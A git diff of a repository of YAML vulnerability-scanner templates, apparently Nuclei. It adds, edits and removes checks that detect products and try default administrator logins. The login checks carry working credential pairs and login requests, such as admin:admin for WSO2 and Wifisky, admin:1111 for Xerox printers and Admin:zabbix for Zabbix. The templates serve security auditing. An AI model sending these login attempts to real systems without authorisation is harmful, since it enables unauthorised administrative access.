CWE-522 +requests: + - raw: + - | + POST /VisionHubWebApi/api/Login HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - "Set-Cookie: admin" + part: header + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/13 diff --git a/poc/default/wifisky-default-login-11202.yaml b/poc/default/wifisky-default-login-11202.yaml index bb35b7f8ed..4551de62fe 100644 --- a/poc/default/wifisky-default-login-11202.yaml +++ b/poc/default/wifisky-default-login-11202.yaml @@ -1,24 +1,10 @@ id: wifisky-default-login - info: name: Wifisky Default Login author: pikpikcu severity: high - description: Wifisky default admin credentials were discovered. - reference: - - https://securityforeveryone.com/tools/wifisky-default-password-scanner - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - verified: true - max-request: 1 - shodan-query: title:"WIFISKY-7层流控路由器" - fofa-query: app="WIFISKY-7层流控路由器" tags: default-login,wifisky - -http: +requests: - raw: - | POST /login.php?action=login&type=admin HTTP/1.1 @@ -29,30 +15,24 @@ http: Connection: close username={{username}}&password={{password}} - payloads: username: - admin password: - admin attack: pitchfork - matchers-condition: and matchers: - type: word words: - "text/html" part: header - - type: word words: - '"success":"true"' - '"data":' part: body condition: and - - type: status status: - 200 - -# digest: 4a0a00473045022100963be11fb4ae0da99dfcbb60bb5bd8e35a4d2b6cdd7837ee61111857dfb4c597022032df5a46993ecc57bf311e1957db080a8b2e43e1d25f8e1b6e7cd43ca9cf5786:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/wifisky-default-login-11204.yaml b/poc/default/wifisky-default-login-11204.yaml index 8b20aa4ca9..bb35b7f8ed 100644 --- a/poc/default/wifisky-default-login-11204.yaml +++ b/poc/default/wifisky-default-login-11204.yaml @@ -1,4 +1,5 @@ id: wifisky-default-login + info: name: Wifisky Default Login author: pikpikcu @@ -12,10 +13,12 @@ info: cwe-id: CWE-522 metadata: verified: true + max-request: 1 shodan-query: title:"WIFISKY-7层流控路由器" fofa-query: app="WIFISKY-7层流控路由器" tags: default-login,wifisky -requests: + +http: - raw: - | POST /login.php?action=login&type=admin HTTP/1.1 @@ -26,26 +29,30 @@ requests: Connection: close username={{username}}&password={{password}} + payloads: username: - admin password: - admin attack: pitchfork + matchers-condition: and matchers: - type: word words: - "text/html" part: header + - type: word words: - '"success":"true"' - '"data":' part: body condition: and + - type: status status: - 200 -# Enhanced by mp on 2022/03/13 +# digest: 4a0a00473045022100963be11fb4ae0da99dfcbb60bb5bd8e35a4d2b6cdd7837ee61111857dfb4c597022032df5a46993ecc57bf311e1957db080a8b2e43e1d25f8e1b6e7cd43ca9cf5786:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/wso2-default-login-11640.yaml b/poc/default/wso2-default-login-11640.yaml new file mode 100644 index 0000000000..2d150364c1 --- /dev/null +++ b/poc/default/wso2-default-login-11640.yaml @@ -0,0 +1,43 @@ +id: wso2-default-login + +info: + name: WSO2 Management Console Default Login + author: cocxanh + severity: high + description: WSO2 Management Console default admin credentials were discovered. + reference: + - https://docs.wso2.com/display/UES100/Accessing+the+Management+Console + - https://is.docs.wso2.com/en/5.12.0/learn/multi-attribute-login/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + tags: default-login,wso2 + +http: + - raw: + - | + POST /carbon/admin/login_action.jsp HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + + payloads: + username: + - admin + password: + - admin + attack: pitchfork + redirects: false + matchers: + - type: word + words: + - "/carbon/admin/index.jsp?loginStatus=true" + - "JSESSIONID" + part: header + condition: and + +# digest: 4a0a004730450221008c45cc815f545e1c12d27a7531f6d35bc0c7835070b01dea0b4d028f750d3be602202a0946cc99245230e7e1740d04f86f58d62bc64b1c3045a3eb7c4add3e39ab90:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/xampp-default-page-11663.yaml b/poc/default/xampp-default-page-11663.yaml index 60793076de..678dc93bec 100644 --- a/poc/default/xampp-default-page-11663.yaml +++ b/poc/default/xampp-default-page-11663.yaml @@ -3,7 +3,8 @@ info: name: XAMPP Default Page author: dhiyaneshDK severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22XAMPP%22&page=1 + reference: + - https://www.shodan.io/search?query=http.title%3A%22XAMPP%22&page=1 tags: tech,php,xampp,apache requests: - method: GET diff --git a/poc/default/xampp-default-page.yaml b/poc/default/xampp-default-page.yaml deleted file mode 100644 index 678dc93bec..0000000000 --- a/poc/default/xampp-default-page.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: xampp-default-page -info: - name: XAMPP Default Page - author: dhiyaneshDK - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22XAMPP%22&page=1 - tags: tech,php,xampp,apache -requests: - - method: GET - path: - - '{{BaseURL}}/dashboard/' - matchers-condition: and - matchers: - - type: word - words: - - 'Welcome to XAMPP' - - type: status - status: - - 200 diff --git a/poc/default/xerox7-default-login-11678.yaml b/poc/default/xerox7-default-login-11678.yaml index 56e300388a..332275426a 100644 --- a/poc/default/xerox7-default-login-11678.yaml +++ b/poc/default/xerox7-default-login-11678.yaml @@ -1,12 +1,18 @@ id: xerox7-default-login info: - name: Xerox WorkCentre 7xxx - Default Login + name: Xerox WorkCentre 7xxx Printer Default Login author: MiroslavSotak severity: high - description: Testing default credentials admin:1111 on Xerox WorkCentre 7xxx printer. + description: "Xerox WorkCentre 7xxx printer. default admin credentials admin:1111 were discovered." tags: xerox,default-login - reference: https://www.support.xerox.com/en-us/article/en/x_wc7556_en-O23530 + reference: + - https://www.support.xerox.com/en-us/article/en/x_wc7556_en-O23530 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: @@ -43,4 +49,6 @@ requests: - "invalid" - "errmsg" condition: or - negative: true \ No newline at end of file + negative: true + +# Enhanced by mp on 2022/03/13 diff --git a/poc/default/xerox7-default-login-11679.yaml b/poc/default/xerox7-default-login-11679.yaml index 7582cc1fa1..0013809647 100644 --- a/poc/default/xerox7-default-login-11679.yaml +++ b/poc/default/xerox7-default-login-11679.yaml @@ -1,4 +1,5 @@ id: xerox7-default-login + info: name: Xerox WorkCentre 7xxx Printer Default Login author: MiroslavSotak @@ -10,8 +11,11 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + max-request: 1 tags: xerox,default-login -requests: + +http: - raw: - | POST /userpost/xerox.set HTTP/1.1 @@ -19,23 +23,27 @@ requests: Content-Type: application/x-www-form-urlencoded _fun_function=HTTP_Authenticate_fn&NextPage=%2Fproperties%2Fauthentication%2FluidLogin.php&webUsername={{username}}&webPassword={{password}}&frmaltDomain=default + attack: pitchfork payloads: username: - admin password: - 1111 + matchers-condition: and matchers: - type: status status: - 200 + - type: word part: body words: - "window.opener.top.location.pathname" - "Xerox Corporation" condition: and + - type: word part: body words: @@ -44,4 +52,4 @@ requests: condition: or negative: true -# Enhanced by mp on 2022/03/13 +# digest: 4a0a00473045022100cc0e4b09bb25275c9c0a276e3f11b40de21ab51f3e27c6b5d10888dc68fd059c0220289c6276d2368a7f4c67a65fc315d062153dd58afdd8ddc4dae3b4bfd8ecc730:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/xxljob-default-login-11709.yaml b/poc/default/xxljob-default-login-11709.yaml deleted file mode 100644 index 5fead39967..0000000000 --- a/poc/default/xxljob-default-login-11709.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: xxljob-default-login - -info: - name: XXL-JOB Default Login - author: pdteam - severity: high - tags: default-login,xxljob - description: XXL-JOB default admin credentials were discovered. - reference: - - https://github.com/xuxueli/xxl-job - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 - -requests: - - raw: - - | - POST /xxl-job-admin/login HTTP/1.1 - Host:{{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - userName={{username}}&password={{password}} - - payloads: - username: - - admin - password: - - 123456 - attack: pitchfork - - matchers-condition: and - matchers: - - type: word - words: - - '"code":200' - - '"msg"' - - '"content"' - condition: and - - - type: word - words: - - 'application/json' - - 'XXL_JOB_LOGIN_IDENTITY' - part: header - condition: and - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/14 diff --git a/poc/default/xxljob-default-login-11712.yaml b/poc/default/xxljob-default-login-11712.yaml index 97dfee20c7..e7972df7bd 100644 --- a/poc/default/xxljob-default-login-11712.yaml +++ b/poc/default/xxljob-default-login-11712.yaml @@ -3,15 +3,14 @@ info: name: XXL-JOB Default Login author: pdteam severity: high - tags: default-login,xxljob description: XXL-JOB default admin credentials were discovered. reference: - https://github.com/xuxueli/xxl-job classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 - cve-id: cwe-id: CWE-522 + tags: default-login,xxljob requests: - raw: - | diff --git a/poc/default/xxljob-default-login.yaml b/poc/default/xxljob-default-login.yaml new file mode 100644 index 0000000000..ae2e65c308 --- /dev/null +++ b/poc/default/xxljob-default-login.yaml @@ -0,0 +1,63 @@ +id: xxljob-default-login + +info: + name: XXL-JOB Default Login + author: pdteam,ritikchaddha + severity: high + description: XXL-JOB default admin credentials were discovered. + reference: + - https://github.com/xuxueli/xxl-job + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + verified: true + max-request: 2 + shodan-query: http.favicon.hash:1691956220 + tags: default-login,xxljob + +http: + - raw: + - | + POST /xxl-job-admin/login HTTP/1.1 + Host:{{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + userName={{username}}&password={{password}} + - | + POST /login HTTP/1.1 + Host:{{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + userName={{username}}&password={{password}} + + attack: pitchfork + payloads: + username: + - admin + password: + - 123456 + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + words: + - '"code":200' + - '"msg"' + - '"content"' + condition: and + + - type: word + part: header + words: + - 'application/json' + - 'XXL_JOB_LOGIN_IDENTITY' + condition: and + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100ae974bb59eb8265058d71d65ba977414da678ac9714b4de0271be9aaad80162e022100c5e2778b9fd6d3563f74836c593566f4319ec48c6de63b985cbb63aaf0701491:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/zabbix-default-credentials.yaml b/poc/default/zabbix-default-credentials.yaml index 246a9ed52a..da0f08e602 100644 --- a/poc/default/zabbix-default-credentials.yaml +++ b/poc/default/zabbix-default-credentials.yaml @@ -1,9 +1,11 @@ id: zabbix-default-credentials + info: name: Zabbix Default Credentials author: pdteam severity: critical tags: zabbix,default-login + requests: - method: POST path: @@ -11,12 +13,15 @@ requests: headers: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest + body: name=Admin&password=zabbix&autologin=1&enter=Sign+in + matchers-condition: and matchers: - type: word words: - "zabbix.php?action=dashboard.view" + - type: status status: - - 302 + - 302 \ No newline at end of file diff --git a/poc/default/zabbix-default-login-11760.yaml b/poc/default/zabbix-default-login-11760.yaml index c28c788318..2f38485317 100644 --- a/poc/default/zabbix-default-login-11760.yaml +++ b/poc/default/zabbix-default-login-11760.yaml @@ -1,11 +1,16 @@ id: zabbix-default-login - info: name: Zabbix Default Login author: pdteam - severity: critical + severity: high + description: Zabbix default admin credentials were discovered. + reference: + - https://openbaton.github.io/documentation/zabbix-server-configuration-3.0/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: zabbix,default-login - requests: - raw: - | @@ -15,21 +20,20 @@ requests: X-Requested-With: XMLHttpRequest name={{username}}&password={{password}}&autologin=1&enter=Sign+in - payloads: username: - Admin password: - zabbix attack: pitchfork - matchers-condition: and matchers: - type: word part: header words: - "zabbix.php?action=dashboard.view" - - type: status status: - 302 + +# Enhanced by mp on 2022/03/13 diff --git a/poc/default/zabbix-default-login-11762.yaml b/poc/default/zabbix-default-login-11762.yaml deleted file mode 100644 index 2f38485317..0000000000 --- a/poc/default/zabbix-default-login-11762.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: zabbix-default-login -info: - name: Zabbix Default Login - author: pdteam - severity: high - description: Zabbix default admin credentials were discovered. - reference: - - https://openbaton.github.io/documentation/zabbix-server-configuration-3.0/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: zabbix,default-login -requests: - - raw: - - | - POST /index.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-Requested-With: XMLHttpRequest - - name={{username}}&password={{password}}&autologin=1&enter=Sign+in - payloads: - username: - - Admin - password: - - zabbix - attack: pitchfork - matchers-condition: and - matchers: - - type: word - part: header - words: - - "zabbix.php?action=dashboard.view" - - type: status - status: - - 302 - -# Enhanced by mp on 2022/03/13 diff --git a/poc/default/zmanda-default-login-11828.yaml b/poc/default/zmanda-default-login-11828.yaml index bb02ae27be..87ba8ff8ee 100644 --- a/poc/default/zmanda-default-login-11828.yaml +++ b/poc/default/zmanda-default-login-11828.yaml @@ -1,5 +1,4 @@ id: zmanda-default-login - info: name: Zmanda Default Login author: Techryptic (@Tech) @@ -11,11 +10,8 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 - metadata: - max-request: 1 tags: zmanda,default-login - -http: +requests: - raw: - | POST /ZMC_Admin_Login HTTP/1.1 @@ -24,22 +20,19 @@ http: Cookie: zmc_cookies_enabled=true login=AEE&last_page=&username={{username}}&password={{password}}&submit=Login&JS_SWITCH=JS_ON - payloads: username: - admin password: - admin attack: pitchfork - matchers-condition: and matchers: - type: word words: - "ZMC - Backup Set Management" - - type: status status: - 200 -# digest: 4b0a0048304602210080d059aa93b8dc673ed702813b867a4111c1e838b75930bdd6dcdae83a7a9b0c022100d90ed5b99a4d8dcadb2381435b5e924b4bcd65746ec8d5721c3a9228bdd601eb:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/04/04 diff --git a/poc/default/zmanda-default-login-11826.yaml b/poc/default/zmanda-default-login.yaml similarity index 100% rename from poc/default/zmanda-default-login-11826.yaml rename to poc/default/zmanda-default-login.yaml diff --git a/poc/detect/Biometric-detect.yaml b/poc/detect/Biometric-detect.yaml deleted file mode 100644 index 4f2f86d771..0000000000 --- a/poc/detect/Biometric-detect.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: biometric-detect - -info: - name: Biometric or Fingerprint detect - author: gaurang - severity: info - tags: android,file - -file: - - extensions: - - all - - matchers: - - type: word - words: - - "android.permission.USE_FINGERPRINT" - - "android.permission.USE_BIOMETRIC" \ No newline at end of file diff --git a/poc/detect/achecker-detect-27.yaml b/poc/detect/achecker-detect-27.yaml new file mode 100644 index 0000000000..dd940e3eeb --- /dev/null +++ b/poc/detect/achecker-detect-27.yaml @@ -0,0 +1,26 @@ +id: achecker-detect + +info: + name: AChecker Detect + author: princechaddha + severity: info + tags: tech,achecker + +requests: + - method: GET + path: + - "{{BaseURL}}/checker/login.php" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - ": Web Accessibility Checker" + - "AChecker - Copyright" + condition: and + + - type: status + status: + - 200 diff --git a/poc/detect/achecker-detect.yaml b/poc/detect/achecker-detect.yaml index dd940e3eeb..ccb0dadb5a 100644 --- a/poc/detect/achecker-detect.yaml +++ b/poc/detect/achecker-detect.yaml @@ -1,26 +1,26 @@ -id: achecker-detect - -info: - name: AChecker Detect - author: princechaddha - severity: info - tags: tech,achecker - -requests: - - method: GET - path: - - "{{BaseURL}}/checker/login.php" - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - ": Web Accessibility Checker" - - "AChecker - Copyright" - condition: and - - - type: status - status: - - 200 +id: achecker-detect + +info: + name: AChecker Detect + author: princechaddha + severity: info + tags: tech,achecker + +requests: + - method: GET + path: + - "{{BaseURL}}/checker/login.php" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - ": Web Accessibility Checker" + - "AChecker - Copyright" + condition: and + + - type: status + status: + - 200 diff --git a/poc/detect/adbhoney-honeypot-cnxn-detect.yaml b/poc/detect/adbhoney-honeypot-cnxn-detect.yaml new file mode 100644 index 0000000000..e1cf0c28ef --- /dev/null +++ b/poc/detect/adbhoney-honeypot-cnxn-detect.yaml @@ -0,0 +1,34 @@ +id: adbhoney-honeypot-cnxn-detect + +info: + name: ADBHoney Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + ADBHoney honeypot has been identified. + The response to the 'adb connect' command differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + product: adb + shodan-query: product:Android Debug Bridge (ADB) && SM-G960F + vendor: android + verified: true + tags: adbhoney,android,adb,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "434e584e0100000100001000ea000000445b0000bcb1a7b1" # CNXN + type: hex + - data: "686f73743a3a66656174757265733d7368656c6c5f76322c636d642c737461745f76322c6c735f76322c66697865645f707573685f6d6b6469722c617065782c6162622c66697865645f707573685f73796d6c696e6b5f74696d657374616d702c6162625f657865632c72656d6f756e745f7368656c6c2c747261636b5f6170702c73656e64726563765f76322c73656e64726563765f76325f62726f746c692c73656e64726563765f76325f6c7a342c73656e64726563765f76325f7a7374642c73656e64726563765f76325f6472795f72756e5f73656e642c6f70656e73637265656e5f6d646e73" # CLIENT INFO + type: hex + + host: + - "{{Hostname}}" + port: 5555 + read-size: 1024 + + matchers: + - type: word + words: + - "device::http://ro.product.name =starltexx;ro.product.model=SM-G960F" +# digest: 4b0a00483046022100a402cb88ee957fdec98dcef88d9efa7f6b38846ff7ad39e4346adc4022ddbb0d022100aa20ef426fafa86698f4a628431f3c032be842793f1b3ec7deaebc89cfa27f8d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/adbhoney-honeypot-shell-detect.yaml b/poc/detect/adbhoney-honeypot-shell-detect.yaml new file mode 100644 index 0000000000..2815e73bb1 --- /dev/null +++ b/poc/detect/adbhoney-honeypot-shell-detect.yaml @@ -0,0 +1,37 @@ +id: adbhoney-honeypot-shell-detect + +info: + name: ADBHoney Honeypot (shell probe) - Detect + author: UnaPibaGeek + severity: info + description: | + ADBHoney honeypot has been identified. + The response to the 'adb shell pwd' command differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + product: adb + shodan-query: product:Android Debug Bridge (ADB) && SM-G960F + vendor: android + verified: true + tags: adbhoney,android,adb,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "434e584e0100000100001000ea000000445b0000bcb1a7b1" # CNXN + type: hex + - data: "686f73743a3a66656174757265733d7368656c6c5f76322c636d642c737461745f76322c6c735f76322c66697865645f707573685f6d6b6469722c617065782c6162622c66697865645f707573685f73796d6c696e6b5f74696d657374616d702c6162625f657865632c72656d6f756e745f7368656c6c2c747261636b5f6170702c73656e64726563765f76322c73656e64726563765f76325f62726f746c692c73656e64726563765f76325f6c7a342c73656e64726563765f76325f7a7374642c73656e64726563765f76325f6472795f72756e5f73656e642c6f70656e73637265656e5f6d646e73" # CLIENT INFO + type: hex + - data: "4f50454e6b000000000000000a0000009d030000b0afbab1" # OPEN + type: hex + - data: "7368656c6c3a70776400" # SHELL: PWD + type: hex + host: + - "{{Hostname}}" + port: 5555 + read-size: 1024 + + matchers: + - type: binary + binary: + - "57525445020000006b0000000000000000000000a8adabba" +# digest: 490a0046304402207573d13133329845aa0678ec2422635e9eb8d4d432f0d2de401d77965a89c94402204d47c540aea373241e1ddd4e3d75fc350b46466b776192b986d5c054b0f70313:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/addeventlistener-detect-64.yaml b/poc/detect/addeventlistener-detect-64.yaml index 0b4b57ca9d..2d66e25559 100644 --- a/poc/detect/addeventlistener-detect-64.yaml +++ b/poc/detect/addeventlistener-detect-64.yaml @@ -1,19 +1,19 @@ id: addeventlistener-detect info: - name: AddEventlistener detection - author: yavolo + name: DOM EventListener detection + author: yavolo,dwisiswant0 severity: info - tags: xss + tags: xss,misc reference: https://portswigger.net/web-security/dom-based/controlling-the-web-message-source requests: - method: GET path: - - '{{BaseURL}}' + - "{{BaseURL}}" matchers: - - type: word - words: - - 'window.addEventListener(' - part: body \ No newline at end of file + - type: regex + part: body + regex: + - (([\w\_]+)\.)?add[Ee]vent[Ll]istener\(["']?[\w\_]+["']? # Test cases: https://www.regextester.com/?fam=121118 diff --git a/poc/detect/addeventlistener-detect.yaml b/poc/detect/addeventlistener-detect.yaml index bdb36cf188..0b4b57ca9d 100644 --- a/poc/detect/addeventlistener-detect.yaml +++ b/poc/detect/addeventlistener-detect.yaml @@ -1,29 +1,19 @@ id: addeventlistener-detect info: - name: DOM EventListener - Cross-Site Scripting - author: yavolo,dwisiswant0 + name: AddEventlistener detection + author: yavolo severity: info - description: EventListener contains a cross-site scripting vulnerability via the document object model (DOM). An attacker can execute arbitrary script which can then allow theft of cookie-based authentication credentials and launch of other attacks. - reference: - - https://portswigger.net/web-security/dom-based/controlling-the-web-message-source - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N - cvss-score: 7.2 - cwe-id: CWE-79 - metadata: - max-request: 1 - tags: xss,misc + tags: xss + reference: https://portswigger.net/web-security/dom-based/controlling-the-web-message-source -http: +requests: - method: GET path: - - "{{BaseURL}}" + - '{{BaseURL}}' matchers: - - type: regex - part: body - regex: - - (([\w\_]+)\.)?add[Ee]vent[Ll]istener\(["']?[\w\_]+["']? # Test cases: https://www.regextester.com/?fam=121118 - -# digest: 4a0a0047304502200dae342b4cead9ec9850751b8bd270a146f5bb324b5c97740c79e885e87a7671022100d6b9d433109287417ed460771846a6eec06dc37a26e48238e4d0a3508f338ec8:922c64590222798bb761d5b6d8e72950 + - type: word + words: + - 'window.addEventListener(' + part: body \ No newline at end of file diff --git a/poc/detect/adobe-coldfusion-detect-82.yaml b/poc/detect/adobe-coldfusion-detect-82.yaml index 0d9330c87c..e19f7d4be2 100644 --- a/poc/detect/adobe-coldfusion-detect-82.yaml +++ b/poc/detect/adobe-coldfusion-detect-82.yaml @@ -5,9 +5,13 @@ info: author: philippedelteil severity: info description: With this template we can detect the version number of Coldfusion instances based on their logos. - tags: adobe,coldfusion + metadata: + verified: true + max-request: 6 + shodan-query: http.component:"Adobe ColdFusion" + tags: adobe,coldfusion,tech -requests: +http: - method: GET path: - "{{BaseURL}}/CFIDE/administrator/images/mx_login.gif" @@ -17,7 +21,7 @@ requests: - "{{BaseURL}}/CFIDE/administrator/images/componentutilslogin.jpg" - "{{BaseURL}}/cfide/administrator/images/componentutilslogin.jpg" - redirects: true + host-redirects: true stop-at-first-match: true max-redirects: 2 matchers: @@ -60,3 +64,5 @@ requests: name: "coldfusion-mx-7" dsl: - "status_code==200 && (\"cb594e69af5ba15bca453f76aca53615\" == md5(body))" + +# digest: 4a0a00473045022100faa12701b8bc27ab386795db36e16861a6a66b66d8fb9cd15ac80cb9409141df02205a53027693929221e1489f3e72cf8d72c2b6061ffced415bc66e005548780060:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/adobe-coldfusion-detect.yaml b/poc/detect/adobe-coldfusion-detect-83.yaml similarity index 100% rename from poc/detect/adobe-coldfusion-detect.yaml rename to poc/detect/adobe-coldfusion-detect-83.yaml diff --git a/poc/detect/adobe-coldfusion-error-detect-88.yaml b/poc/detect/adobe-coldfusion-error-detect-88.yaml index efe9fab702..c6e8e0d1ea 100644 --- a/poc/detect/adobe-coldfusion-error-detect-88.yaml +++ b/poc/detect/adobe-coldfusion-error-detect-88.yaml @@ -5,15 +5,10 @@ info: author: philippedelteil severity: info description: With this template we can detect a running ColdFusion instance due to an error page. - reference: - - https://twitter.com/PhilippeDelteil/status/1418622775829348358 - metadata: - verified: true - max-request: 1 - shodan-query: http.component:"Adobe ColdFusion" - tags: adobe,coldfusion,tech + reference: https://twitter.com/PhilippeDelteil/status/1418622775829348358 + tags: adobe,coldfusion -http: +requests: - method: GET path: - "{{BaseURL}}/_something_.cfm" @@ -28,5 +23,3 @@ http: - type: status status: - 404 - -# digest: 4a0a00473045022068efa69e7486fc3192208ad0e2a27d0f5617cd74743f02d143f7bb64af6556da022100b5540b7df95ff7b71b3394a2f63ddd5e42d5473d8c6febd42195b9fa73496c27:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/adobe-coldfusion-error-detect-86.yaml b/poc/detect/adobe-coldfusion-error-detect.yaml similarity index 100% rename from poc/detect/adobe-coldfusion-error-detect-86.yaml rename to poc/detect/adobe-coldfusion-error-detect.yaml diff --git a/poc/detect/aem-detection-145.yaml b/poc/detect/aem-detection-145.yaml new file mode 100644 index 0000000000..bb3d7e0753 --- /dev/null +++ b/poc/detect/aem-detection-145.yaml @@ -0,0 +1,28 @@ +id: aem-detection + +info: + name: Favicon based AEM Detection + author: shifacyclewala,hackergautam + severity: info + reference: + - https://twitter.com/brsn76945860/status/1171233054951501824 + - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a + - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 + - https://github.com/devanshbatham/FavFreak + - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv + metadata: + shodan-query: http.component:"Adobe Experience Manager" + tags: aem,favicon,tech,adobe + +requests: + - method: GET + path: + - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico" + + redirects: true + max-redirects: 2 + + matchers: + - type: dsl + dsl: + - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))" diff --git a/poc/detect/aem-detection-146.yaml b/poc/detect/aem-detection-146.yaml deleted file mode 100644 index 421bb35f54..0000000000 --- a/poc/detect/aem-detection-146.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: aem-detection - -info: - name: Favicon based AEM Detection - severity: info - author: shifacyclewala,hackergautam - tags: aem,favicon,tech - reference: - - https://twitter.com/brsn76945860/status/1171233054951501824 - - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a - - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 - - https://github.com/devanshbatham/FavFreak - - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv - metadata: - shodan-query: http.component:"Adobe Experience Manager" - -requests: - - method: GET - path: - - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico" - - redirects: true - max-redirects: 2 - - matchers: - - type: dsl - dsl: - - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))" \ No newline at end of file diff --git a/poc/detect/aix-websm-detect.yaml b/poc/detect/aix-websm-detect.yaml new file mode 100644 index 0000000000..f2e5746791 --- /dev/null +++ b/poc/detect/aix-websm-detect.yaml @@ -0,0 +1,35 @@ +id: aix-websm-detect + +info: + name: AIX WebSM - Detect + author: righettod + severity: info + description: | + Detects IBM AIX Web-based System Manager services. + reference: + - https://en.wikipedia.org/wiki/IBM_Web-based_System_Manager + - https://www.filibeto.org/unix/aix/lib/rel/5.2/wsmadmn.pdf + metadata: + max-request: 1 + verified: true + shodan-query: "/websm/" + tags: network,aix,detect + +tcp: + - inputs: + - data: "en_US\r\n" + read: 1024 + + host: + - "{{Hostname}}" + port: 9090 + read-size: 4096 + + matchers: + - type: word + part: data + words: + - "/var/websm/" + - "startNewWServer" + condition: and +# digest: 4b0a00483046022100926d1c911a44917403cb63099e36aec7abae95fd57c77bd20368974ea6e92842022100963f49661741889efbed08aa78b3acede2bcc8310424c4463d432a3b874448c6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/alfresco-detect-258.yaml b/poc/detect/alfresco-detect-258.yaml new file mode 100644 index 0000000000..0a9414afb1 --- /dev/null +++ b/poc/detect/alfresco-detect-258.yaml @@ -0,0 +1,43 @@ +id: alfresco-detect + +info: + name: Alfresco CMS Detection + author: pathtaga + description: Alfresco CMS was discovered. + severity: info + tags: alfresco,tech,panel + reference: + - https://www.alfresco.com/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/alfresco/api/-default-/public/cmis/versions/1.1/atom" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'org\/alfresco\/api\/opencmis\/OpenCMIS.get' + + - type: word + part: header + words: + - "application/json" + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'Enterprise v.*([0-9]\.[0-9]+\.[0-9]+)' + - 'Community v.*([0-9]\.[0-9]+\.[0-9]+)' + - 'Community Early Access v.*([0-9]\.[0-9]+\.[0-9]+)' + +# Enhanced by mp on 2022/03/16 diff --git 